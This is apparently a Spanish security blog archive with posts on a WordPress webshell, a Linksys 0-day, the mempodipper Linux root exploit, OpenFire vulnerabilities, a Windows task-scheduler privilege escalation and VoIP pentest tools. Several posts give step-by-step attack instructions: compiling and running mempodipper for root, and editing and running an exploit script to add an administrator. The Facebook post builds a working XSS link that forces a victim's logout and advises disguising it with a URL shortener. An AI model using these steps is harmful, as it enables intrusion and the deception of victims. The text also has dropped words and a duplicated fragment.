Video: Como infectar sitios de WordPress con una Webshell

Posted by Epsilon On enero - 23 - 2013

wordpress

Una de las tantas formas para vulnerar sitios web, es inyectando una webshell en el donde esta alojada la pagina victima, de esta manera y con un poco de suerte podemos obtener acceso al y comprometerlo seriamente.

Leyendo mis feeds, me encontre con este el cual explica de manera muy facil, detallada y a modo de ejemplo como “Hackearse” sitios desarrollados en que esten usando el “File uploader”

L@usch.io – Hacking Demonstration for WP File Uploader Plugin – Infect targets with a Webshell

Si bien este tipo de intrusion se pueden prevenir con una buena configuracion en WordPress y el  servidor, existen miles de sitios en Internet los cuales pueden ser vulnerados de esta forma tan sencilla y poner en riesgo toda su informacion.

 

Etiquetas: , , , , , , , , , , ,

Descubren 0-Day en routers Linksys

Posted by Epsilon On enero - 16 - 2013

linksys

Un grupo de investigadores llamado DefenseCode han descubierto una grave en el firmware de los router Linksys, la cual permite a un atacante obtener acceso root remotamente.

Este grupo investigador  se comunico con  Cisco  y le compartieron  una descripción detallada de la vulnerabilidad junto con el PoC para explotarla. Cisco dijo que la vulnerabilidad ha sido resuelta ya en la última versión de firmware, (4.30.14) aunque  todas las versiones anteriores siguen siendo vulnerables.

Dicha vulnerabilidad es demasiado grave ya que alrededor del mundo hay mas de 70.000 routers Linkys en muchos hogares del mundo, y si no se actualizan estarian en riesgo de tener futuros dolores de cabeza.

La vulnerabilidad fue descubierta durante una evaluación de seguridad del router linksys para un cliente. Cisco  lo llevó a los investigadores que tardaron solo 12 días para desarrollar un exploit totalmente funcional. Eso incluye  el hack de hardware para la depuración router, análisis de vulnerabilidad, análisis de la memoria y el desarrollo de exploit.

A continuacion comparto un donde se encuentra la PoC (Prueba de concepto) de este fallo de seguridad:

DefenseCode Security Advisory (UPCOMING): Cisco Linksys remote preauth 0day root exploit

Etiquetas: , , , , , , , ,

PoC: Elevación de privilegios en el kernel Linux

Posted by Epsilon On enero - 26 - 2012

Hace poco me entero de una nueva vulnerabilidad en el de Linux, esta vez se trata de una vulnerabilidad, la cual permite escalar privilegios localmente en un sistema que tenga el de Linux 2.6

El fallo fue descubierto por Jüri Aedla y  se debe a una incorrecta comprobación de privilegios al abrir el ‘/proc/#pid#/mem‘ de un proceso.

La informacion completa del fallo puede encontrarse en este link, alli explican paso a paso en que consiste la vulnerabilidad y como explotarla.

Esta es una vulnerabilidad grave, ya que  cualquier persona autorizada podria acceder como ROOT a cualquier sistema (obviamente que sea vulnerable) tan solo con estar fisicamente en el equipo y ejecutar el .

En RinconInformatico.NET, se hizo la prueba de concepto con el fin de verificar  que tan facil seria para un atacante obtener una consola de root, y la verdad es que es bastante sencillo.

Se deben seguir los siguientes pasos:

  1. Se obtiene el codigo del exploit, elaborado en C, denominado por el autor como mempodipper
  2. Teniendo el codigo fuente del script, se procede a compilarlo:

    $ gcc mempodipper.c -o mempodipper

  3. Despues de compilar, solo resta ejecutar el binario y esperar  el resultado:
./mempodipper
Si todo ha salido bien, obtendremos root en unos pocos segundos:

 

Afortunadamente, las bondades del software permite que el bug sea corregido en tiempo record, aqui puedes ver el parche desarrollado por Linus Torvalds el cual soluciona la vulnerabilidad.

Solo queda esperar a que las diferentes distribuciones empaqueten la nueva version incluyendo el parche y actualizar de inmediato. Por su parte el proyecto Debian ya parcho casi todas las versiones, solo falta la version de wheezy, para la cual se debe esperar 10 dias a que la version en SID (ya parchada)  pase a testing.

Etiquetas: , , , , , , , , ,

Nuevas vulnerabilidades en OpenFire <=3.6.4

Posted by Epsilon On enero - 6 - 2011

openfire 3.6.4

, es una solucion  muy utilizada en el ambiente laboral  para aspectos de Colaboración (Chat, envio de archivos, salones de ) que usa el protocolo Jabber (si el mismo de Google Talk) para proveer a sus usuarios de servicios de mensajeria instantanea, es extensible a hacer video conferencia y se puede integrar con Asterisk para hacer llamadas. Anteriormente aqui en RinconInformatico.NET hemos escrito algunas entradas sobre esta magnifica herramienta.

Sin embargo, reciemente se han descubierto algunos fallos GRAVES de en la ultima version (3.6.4), los cuales permiten a  un atacante  ejecutar funciones como un usuario autenticado y hacer peticiones al servidor. El funciona mediante la inclusión de algunos enlaces  de secuencia de comandos en una página que tiene acceso a un sitio al que el usuario se conoce (O se supone) que han sido autenticados. Una explotación exitosa de estas vulnerabilidades podría resultar en,  comprometer toda la aplicacion, el robo de credenciales de autenticación basado en cookies, redirección de la página arbitraria, la divulgación o modificación de datos sensibles y ataques de .

En exploit-db se ha publicado toda la informacion del fallo de seguridad, y una prueba de concepto.  Alli nos muestran claramente como de una forma muy sencilla se puede explotar la vulnerabilidad y comprometer la seguridad del sistema.

Recomendamos a todos aquellos que usen openfire estar pendiente de la pagina oficial,  esperando la solucion a este grave fallo.

Etiquetas: , , , , , , , , , , , , , ,

PoC: Escalada de privilegios en Windows vista/7/2008

Posted by Epsilon On diciembre - 1 - 2010

Hace poco se publico una   0-day que afectaba la mayoria de las plataformas (7/vista/2008) , dicho fallo podria ser explotada por atacantes locales para lograr el control completo de un sistema vulnerable. Este “” es causado por un error de validación en el servicio de administración de tareas el cual falla al prevenir que los usuarios manipulen ciertos campos en el esquema del archivo XML por medio de la interface COM, lo cual podría permitir a un malicioso manipular los archivos XML validos y “saltarse” el chequeo de integridad CRC32 y ejecutar código de manera arbitraria con privilegios Administrativos

En exploitdb ya se encuentra el disponible y lo pueden obtener desde este enlace. Para el correr el exploit debemos tener en cuenta algunos aspectos importantes como:

  • La extensión del exploit debe ser  .wfs (ya que es un archivo de comandos de Windows )
  • El exploit  tiene como fin, crear un usuario  administrador en el sistema vulnerable, por tal razón,   es importante tener claro el idioma del sistema objetivo, ya que si es un Windows en español, se debe modificar el exploit, reemplazar “Administrators” por su simil en español “Administradores”.
  • Puedes modificar el exploit,  para  escoger el nombre del usuario y la contraseña que se desea  agregar.
  • Algunos Antivirus ya detectan el código malicioso.

En Rinconinformatico.NET, realizamos la prueba en una maquina en español, y funciono sin problemas:

El procedimiento que se realizo, para llevar con éxito la explotación  fue el siguiente:

  1. Descargamos  el código del exploit
  2. Modificamos el código, para crear el usuario admin,  y lo agregamos al grupo “Administradores”
  3. Abrimos una consola, navegamos hasta donde este el script, y lo ejecutamos
  4. cscript exploit.wsf

  5. Eso es todo, verificamos y tenemos nuestro usuario admin, en el grupo administradores.

Como pueden ver, de una forma muy sencilla, y aprovechando un fallo grave en Windows, podemos crear un usuario administrador, y obtener el control total del sistema.

Nota: Esta entrada simplemente fue una prueba de concepto.  Solamente es fines educativos e informativos.

Etiquetas: , , , , , , , , , , , ,

Viper-Vast: Distribucion GNU/Linux para auditorias en VOIP

Posted by Epsilon On noviembre - 24 - 2010

Recientemente  he  deseado conocer mas a fondo VoIp,  su funcionamiento, sus vulnerabilidades  y algunos sets de herramientas para probar  posibles errores y aposteriori explotarlos. Buscando por alli   he encontrado un set impresionante ,   algo asi como el backtrack para VoIp, se trata de: Viper-Vast.

Viper-Vast es una de GNU/Linux  que contiene herramientas de para VoIp , tales como:

  • UCsniff
  • VideoSnarf
  • Videojak
  • Metasploit
  • Artemisa
  • SteganRTP
  • Protos
  • Xten Xlite
  • SecurLogix Tools
  • MACchanger
  • Hydra
  • Nmap
  • tshark
  • Sipvicious 0.2.6
  • SIPp
  • Netcat
  • Warvox
  • Hping2

Este set de herramientas,  nos permitira realizar buenos pentest a sitemas VoIp. Actualmente se encuentra en la version 2.77 beta y desde ya estamos con la expectativa de punta para su proxima version .

Puedes descargar la imagen iso hacliendo click aqui
Mas informacion: aqui

Nota: Gracias a C1B3RH4Ck,  por compartir la informacion.

ado conocer mas a fondo VoIp  su funcionamiento , y todas sus vulnerabilidades  y algunos de los sets de herramientas para probar  posibles errores y aposteriori explotarlos  buscando por alli  me e encontrado con un set impresionante ,  si es el backtrack pero para VoIp Vast.
Etiquetas: , , , , , , , , , , , ,

Aplicaciones vulnerables a ataques XSS en Facebook

Posted by jhonber On julio - 26 - 2010

Por estos días aprovechando el tiempo , he estado investigando sobre los ataques  (Cross-site scripting) XSS en algunas sobre Facebook. En el blog Desvaríos informáticos en un post publicado hace más de un año hacen una demostración de como incrustar código javascript en una aplicación vulnerable, en el ejemplo al hacer click en un link se abre un alert donde nos muestra las cookies de la página, completamente inofensivo, pero que nos hace pensar en muchas cosas que se pueden hacer con esa información. Aquí esta dicho post  http://rooibo.wordpress.com/2009/04/28/agujero-de-seguridad-en-facebook/.

Con base en el ejemplo de Desvaríos informáticos he preparado una URL donde al hacer click en un link se cerrará la sesión del Facebook de la victima.

Hace menos de cuatro días la forma de cerrar nuestra sesión era haciendo click en un botón Salir con una Url mas o menos así:

http://www.facebook.com/logout.php?h=21ed5705a23da92010c2a3scebs3d&t=27955277&ref=mb

Es decir enviándole los parámetros h, t y ref a la página logout.php de esta forma se “garantizaría” que el usuario al cual pertenece la cookie h fue quien presionó el link de Salida, además evitando por ejemplo: si se redirecciona la victima al http://www.facebook.com/logout.php no cerraría la sesión  del usuario ya que no tiene parametros validos.

Entonces para lograr nuestro propósito que es cerrar la sesión de la victima tendríamos que atravesar el Dom de la página coger ese link y redireccionar a ese link nuestra victima; hice varias bromas así :) pero luego me di cuenta que habían cambiado la forma de cerrar sesión :S ya no se utilizaba un link sino un formulario que al enviarse le pasa los parámetros de validación al script logout.php claro ya no con el método GET sino con POST. El form es algo como esto:

<form id=”logout_form” method=”post” action=”/logout.php”><input type=”hidden” autocomplete=”off” name=”post_form_id” value=”be875b2cfe5803f1bfc2bafed8c719ee”></input><input type=”hidden” name=”fb_dtsg” value=”CQKDv” autocomplete=”off”></input><input type=”hidden” autocomplete=”off” name=”ref” value=”mb”></input><input type=”hidden” autocomplete=”off” name=”h” value=”0779d7c779f7c29bd254ea9a61d2cd52″></input><label><input type=”submit” value=”Salir”></input></label></form>

Las variables que se le pasan al script son las que están en negrita.

Entonces para cerrar sesión solo hay que darle enviar al formulario y cómo hago eso?

document.getElementById(‘logout_form’).submit()

como vemos ubicamos el Elemento form através de su Id “logout_form” y simplemente le aplicamos el método submit() que equivale a dar click en el botón Salir.

Esta es la url completa donde creamos un link “Responder Quíz” y lo ubicamos en cierta parte de la aplicación cargada, cuando la victima de click en dicho link se ejecuta la línea de código anterior haciendo un logout :D

http://apps.facebook.com/qeres-buen-pol-ceijh/?target=list&send_id=1517598431&x=24897%22%20href=%22%20javascript:document.getElementById(‘logout_form’).submit();%22%3E%3Ch1%20style=%22margin:%2050px%2050px%2050px%2050px;color:blue;position:absolute;left:200px;%22%3E%20Responder%20Qu%C3%ADz%20%3C/h1%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%22

Para que no sea tan sospechoso semejante link, como ya había mencionado nuestro amigo @Epsilon en una publicación Aquí , podemos aprovechar los acortadores de Url’s; esto ya es menos sospechoso:

http://tinyurl.com/26hnrzl

Si usamos un poco nuestra imaginación nos daremos cuenta que hay muchísimas formas de aprovechar esta .

Bueno ya con esto creo que es suficiente y espero que se haya entendido, ya que más importante que aprender a usar algo es comprender como funciona y crear nuevas cosas a partir de ese conocimiento.

Hasta la próxima!

Etiquetas: , , , , , , , , , ,